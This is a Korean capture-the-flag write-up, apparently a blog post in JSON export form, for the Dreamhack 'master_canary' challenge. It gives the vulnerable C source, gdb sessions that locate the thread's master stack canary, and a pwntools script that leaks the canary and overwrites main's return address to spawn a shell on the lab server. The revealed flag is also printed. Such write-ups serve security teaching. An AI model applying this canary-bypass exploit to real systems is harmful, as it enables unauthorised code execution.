\uc774 \ubb38\uc81c\ub294 \uc11c\ubc84\uc5d0\uc11c \uc791\ub3d9\ud558\uace0 \uc788\ub294 \uc11c\ube44\uc2a4(master_canary)\uc758 \ubc14\uc774\ub108\ub9ac\uc640 \uc18c\uc2a4 \ucf54\ub4dc\uac00 \uc8fc\uc5b4\uc9d1\ub2c8\ub2e4.
\uce74\ub098\ub9ac \uac12\uc744 \uad6c\ud574 \uc2e4\ud589 \ud750\ub984\uc744 \uc870\uc791\ud574 \uc178\uc744 \ud68d\ub4dd\ud558\uc138\uc694.
\uc178\uc744 \ud68d\ub4dd\ud55c \ud6c4 \uc5bb\uc740 “flag” \ud30c\uc77c\uc758 \ub0b4\uc6a9\uc744 \uc6cc\uac8c\uc784 \uc0ac\uc774\ud2b8\uc5d0 \uc778\uc99d\ud558\uba74 \uc810\uc218\ub97c \ud68d\ub4dd\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.
\ud50c\ub798\uadf8\uc758 \ud615\uc2dd\uc740 DH{…} \uc785\ub2c8\ub2e4.<\/p>\n\n\n\n
Ubuntu 16.04\nArch: amd64-64-little\nRELRO: Partial RELRO\nStack: Canary found\nNX: NX enabled\nPIE: No PIE (0x400000)<\/pre>\n<\/div>\n<\/div>\n\n\n\n\ub85c\uceec \ud14c\uc2a4\ud2b8 \ud658\uacbd:
Ubuntu 16.04.7 LTS x86_64
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU\/Linux <\/p>\n\n\n\nchecksec<\/h2>\n\n\n\n
\n\nseo@ubuntu:~\/Desktop\/master_canary$ checksec .\/master_canary\n[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)\n[*] '\/home\/seo\/Desktop\/master_canary\/master_canary'\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000)<\/pre>\n<\/div>\n<\/div>\n\n\n\nSource Code<\/h2>\n\n\n\n
master_canary.c<\/strong><\/h4>\n\n\n\n
\n\n\/\/ gcc -o master master.c -pthread\n#include <stdio.h>\n#include <stdlib.h>\n#include <signal.h>\n#include <unistd.h>\n#include <pthread.h>\n\nchar *global_buffer;\n\nvoid alarm_handler() {\n puts(\"TIME OUT\");\n exit(-1);\n}\n\nvoid initialize() {\n setvbuf(stdin, NULL, _IONBF, 0);\n setvbuf(stdout, NULL, _IONBF, 0);\n signal(SIGALRM, alarm_handler);\n alarm(60);\n}\n\nvoid get_shell() {\n system(\"\/bin\/sh\");\n}\n\nvoid *thread_routine() {\n char buf[256];\n\n global_buffer = buf;\n}\n\nvoid read_bytes(char *buf, size_t size) {\n size_t sz = 0;\n size_t idx = 0;\n size_t tmp;\n\n while (sz < size) {\n tmp = read(0, &buf[idx], 1);\n if (tmp != 1) {\n exit(-1);\n }\n idx += 1;\n sz += 1;\n }\n return;\n}\n\nint main(int argc, char *argv[]) {\n size_t size;\n pthread_t thread_t;\n size_t idx;\n char leave_comment[32];\n\n initialize();\n\n while (1) {\n printf(\"1. Create thread\\n\");\n printf(\"2. Input\\n\");\n printf(\"3. Exit\\n\");\n printf(\"> \");\n scanf(\"%d\", &idx);\n\n switch (idx) {\n case 1:\n if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) {\n perror(\"thread create error\");\n exit(0);\n }\n break;\n case 2:\n printf(\"Size: \");\n scanf(\"%d\", &size);\n\n printf(\"Data: \");\n read_bytes(global_buffer, size);\n\n printf(\"Data: %s\", global_buffer);\n break;\n case 3:\n printf(\"Leave comment: \");\n read(0, leave_comment, 1024);\n return 0;\n default:\n printf(\"Nope\\n\");\n break;\n }\n }\n\n return 0;\n}<\/pre>\n<\/div>\n<\/div>\n\n\n\n1) Create thread<\/strong><\/p>\n\n\n\n
pthread_create\ub97c \ud1b5\ud574 thread_routine \uc4f0\ub808\ub4dc\ub97c \uc0dd\uc131\ud558\uba70,
\uc4f0\ub808\ub4dc \ud568\uc218\uc5d0\uc11c buf\uc758 \uc8fc\uc18c\ub97c global_buffer \uc804\uc5ed\ubcc0\uc218\uc5d0 \ub123\ub294\ub2e4.<\/p>\n\n\n\n2) Input<\/strong><\/p>\n\n\n\n
size \ud06c\uae30\ub9cc\ud07c \ub370\uc774\ud130\ub97c \uc785\ub825\ubc1b\uace0,
read_bytes \ud568\uc218\ub97c \ud1b5\ud574 1\ubc14\uc774\ud2b8\uc529 global_buffer \ubcc0\uc218\uc5d0 \ub123\uc740 \ub4a4 \ucd9c\ub825\ud55c\ub2e4.<\/p>\n\n\n\n3) Exit<\/strong><\/p>\n\n\n\n
\u00a0leave_comment \ubcc0\uc218\uc5d0 1024 byte\ub9cc\ud07c \uac12\uc744 \uc77d\uc5b4\ub4e4\uc774\uace0 \uc885\ub8cc\ud55c\ub2e4.<\/p>\n\n\n\n
Solution<\/h2>\n\n\n\n
1) thread_routine+40 \uc9c0\uc810\uc5d0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uac78\uace0 master canary \uac12\uc774 \ub4e4\uc5b4\uc788\ub294 \uc8fc\uc18c\uc640 global_buffer\uc5d0 \ub4e4\uc5b4\uc788\ub294 \uc8fc\uc18c\ub97c \ud655\uc778\ud558\uace0 \uac70\ub9ac\ub97c \uacc4\uc0b0\ud55c\ub2e4.<\/p>\n\n\n\n
\n\ngdb-peda$ b *0x400a83\nBreakpoint 1 at 0x400a83\n...\n 0x400a73 <thread_routine+24>: xor eax,eax\n 0x400a75 <thread_routine+26>: lea rax,[rbp-0x110]\n 0x400a7c <thread_routine+33>: mov QWORD PTR [rip+0x20162d],rax # 0x6020b0 <global_buffer>\n=> 0x400a83 <thread_routine+40>: nop\n 0x400a84 <thread_routine+41>: mov rdx,QWORD PTR [rbp-0x8]\n 0x400a88 <thread_routine+45>: xor rdx,QWORD PTR fs:0x28\n 0x400a91 <thread_routine+54>: je 0x400a98 <thread_routine+61>\n 0x400a93 <thread_routine+56>: call 0x400820 <__stack_chk_fail@plt>\n...\nThread 2 \"master_canary\" hit Breakpoint 1, 0x0000000000400a83 in thread_routine ()<\/pre>\n<\/div>\n<\/div>\n\n\n\n\uc704\uc640 \uac19\uc774 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uac78\uace0, 1\ubc88 \uba54\ub274\uc778 create_thread\ub97c \ud638\ucd9c\ud558\uc600\ub2e4.<\/p>\n\n\n\n
\uc774\uc81c \ub9c8\uc2a4\ud130 \uce74\ub098\ub9ac \uac12\uc774 \ub4e4\uc5b4\uc788\ub294 \uc8fc\uc18c\ub97c \ud655\uc778\ud558\ub824\uace0 \ud558\uba74,<\/p>\n\n\n\n
\n\ngdb-peda$ x\/gx $fs_base+0x28\nArgument to arithmetic operation not a number or boolean.<\/pre>\n<\/div>\n<\/div>\n\n\n\n\ud655\uc778\ud558\uc9c0 \ubabb\ud558\uace0 \uc704\uc640 \uac19\uc740 \ubb38\uad6c\uac00 \ub728\ub294\ub370,
ubuntu 16.04\uc5d0\ub294 gdb7 \ubc84\uc804\uc774\uc5b4\uc11c \uac12\uc774 \ub098\uc624\uc9c0 \uc54a\ub294\ub2e4.
\ub530\ub77c\uc11c \uc544\ub798 stackoverflow \uae00\uc744 \ucc38\uace0\ud574\uc11c \ud655\uc778\ud560 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n\n\n\nhttps:\/\/stackoverflow.com\/a\/23121188<\/a><\/p>\n\n\n\n
\n\ngdb-peda$ p $rsp\n$1 = (void *) 0x7ffff77eee40\ngdb-peda$ call arch_prctl(0x1003, $rsp - 0x8)\n$2 = 0x0\ngdb-peda$ x \/gx $rsp - 0x8\n0x7ffff77eee38: 0x00007ffff77ef700\ngdb-peda$ x\/gx 0x00007ffff77ef700+0x28\n0x7ffff77ef728: 0xfcadef69c673ef00<\/pre>\n<\/div>\n<\/div>\n\n\n\n\ub9c8\uc2a4\ud130 \uce74\ub098\ub9ac \uac12\uc740 0x7ffff77ef728 \uc8fc\uc18c\uc5d0 \uc788\uc5c8\ub2e4.<\/p>\n\n\n\n
\uc774\uc81c global_buffer \uc804\uc5ed\ubcc0\uc218\uc5d0 \ub2f4\uae34 \uc8fc\uc18c\ub97c \ud655\uc778\ud55c\ub2e4.<\/p>\n\n\n\n
\n\ngdb-peda$ x\/gx 0x00000000006020B0\n0x6020b0 <global_buffer>: 0x00007ffff77eee40<\/pre>\n<\/div>\n<\/div>\n\n\n\nglobal_buffer \uc804\uc5ed\ubcc0\uc218\uc5d0 \ub2f4\uae34 \uc8fc\uc18c\ub294 0x00007ffff77eee40\uc600\ub2e4.<\/p>\n\n\n\n
\ub9c8\uc2a4\ud130 \uce74\ub098\ub9ac \uac12\uc774 \ub4e4\uc5b4\uc788\ub294 \uc8fc\uc18c\uc640 global_buffer \uc804\uc5ed\ubcc0\uc218\uc5d0 \ub2f4\uae34 \uc8fc\uc18c\ub97c \uc11c\ub85c \ube7c\uba74,<\/p>\n\n\n\n
\n\n>>> hex(0x7ffff77ef728 - 0x7ffff77eee40)\n'0x8e8'<\/pre>\n<\/div>\n<\/div>\n\n\n\n0x8e8 \uc624\ud504\uc14b\uc744 \uad6c\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n
2) \ub9c8\uc2a4\ud130 \uce74\ub098\ub9ac \uac12 leak\ud558\uae30<\/strong><\/p>\n\n\n\n
\uc774\uc81c 2\ubc88 \uba54\ub274\uc778 input\uc744 \ud1b5\ud574 global_buffer\uc5d0 0x8e8+1\ub9cc\ud07c \ubc84\ud37c\ub97c \ucc44\uc6b0\uba74 \uce74\ub098\ub9ac\ub97c leak\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n
3) main’s RET\uc744 get_shell\ub85c \uc870\uc791\ud558\uae30<\/strong><\/p>\n\n\n\n
\uce74\ub098\ub9ac \uac12\uc744 \uc5bb\uc5c8\uc73c\uba74,
3\ubc88 exit \uba54\ub274\ub97c \ud1b5\ud574 \uce74\ub098\ub9ac\uc640 \ud568\uaed8 main’s RET \uc8fc\uc18c\ub97c get_shell \uc8fc\uc18c\ub85c \ubc14\uafd4\uc8fc\ub294 \ud398\uc774\ub85c\ub4dc\ub97c \uc791\uc131\ud574\uc8fc\uba74 \ub41c\ub2e4.
\ud560\ub2f9\ub41c leave_comment \uc9c0\uc5ed\ubcc0\uc218 \ud06c\uae30\ub294 32\ubc14\uc774\ud2b8\uc778\ub370, read \ud568\uc218\uc5d0\uc11c 1024\ubc14\uc774\ud2b8\ub9cc\ud07c \uc785\ub825\ubc1b\uc73c\ubbc0\ub85c \ubc84\ud37c \uc624\ubc84\ud50c\ub85c\uc6b0\uac00 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n\n\n\nsolve.py<\/h2>\n\n\n\n
\n\nfrom pwn import *\n#context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\n\n#p = process(\".\/master_canary\")\np = remote(\"host3.dreamhack.games\", 15636)\ne = ELF(\".\/master_canary\", checksec=False)\n\ndef create_thread():\n p.sendlineafter(\"> \", \"1\")\n\ndef input(size, data):\n p.sendlineafter(\"> \", \"2\")\n p.sendlineafter(\"Size: \", str(size))\n p.sendafter(\"Data: \", data)\n p.recvuntil(\"Data: \")\n data = p.recvuntil(\"1. Create thread\")\n data = data.split(b\"1. Create thread\")[0]\n #print(\"data: \"+ str(data))\n return data\n\ndef exit(comment):\n p.sendlineafter(\"> \", \"3\")\n p.sendlineafter(\"Leave comment: \", comment)\n\ncreate_thread()\n\n#leak master canary\ncanary = input(0x8e9, \"A\"*0x8e9) \ncanary = canary[0x8e9:0x8e9+7]\ncanary = u64(canary.rjust(8, b\"\\x00\"))\nprint(\"canary: \" + hex(canary))\n\n#Overwrite get_shell to main's RET address\npayload = b\"\"\npayload += b\"A\"*40\npayload += p64(canary)\npayload += b\"B\"*8\npayload += p64(e.symbols[\"get_shell\"])\nexit(payload)\n\np.interactive()<\/pre>\n<\/div>\n<\/div>\n\n\n\nResult<\/h2>\n\n\n\n
\n\nseo@ubuntu:~\/Desktop\/master_canary$ python3 solve.py\n[+] Opening connection to host3.dreamhack.games on port 15636: Done\n[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)\ncanary: 0xd9b3a7fae7e3100\n[*] Switching to interactive mode\n$ ls\nflag\nmaster_canary\n$ cat flag\nDH{5784e01c14862d84172ca055720f512ec3dd7e3b4421c691f638b1152cd62312}<\/pre>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"Description \uc774 \ubb38\uc81c\ub294 \uc11c\ubc84\uc5d0\uc11c \uc791\ub3d9\ud558\uace0 \uc788\ub294 \uc11c\ube44\uc2a4(master_canary)\uc758 \ubc14\uc774\ub108\ub9ac\uc640 \uc18c\uc2a4 \ucf54\ub4dc\uac00 \uc8fc\uc5b4\uc9d1\ub2c8\ub2e4.\uce74\ub098\ub9ac \uac12\uc744 \uad6c\ud574 \uc2e4\ud589 \ud750\ub984\uc744 \uc870\uc791\ud574 \uc178\uc744 \ud68d\ub4dd\ud558\uc138\uc694.\uc178\uc744 \ud68d\ub4dd\ud55c \ud6c4 \uc5bb\uc740 “flag” \ud30c\uc77c\uc758 \ub0b4\uc6a9\uc744 \uc6cc\uac8c\uc784 \uc0ac\uc774\ud2b8\uc5d0 \uc778\uc99d\ud558\uba74 \uc810\uc218\ub97c \ud68d\ub4dd\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\ud50c\ub798\uadf8\uc758 \ud615\uc2dd\uc740 DH{…} \uc785\ub2c8\ub2e4. Environment \ub85c\uceec \ud14c\uc2a4\ud2b8 \ud658\uacbd:Ubuntu 16.04.7 LTS x86_64Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU\/Linux… \ub354 \ubcf4\uae30 »[dreamhack] master_canary<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[6],"tags":[25],"class_list":["post-1523","post","type-post","status-publish","format-standard","hentry","category-dreamhack-io","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/1523","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1523"}],"version-history":[{"count":3,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/1523\/revisions"}],"predecessor-version":[{"id":3452,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/1523\/revisions\/3452"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1523"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1523"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1523"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}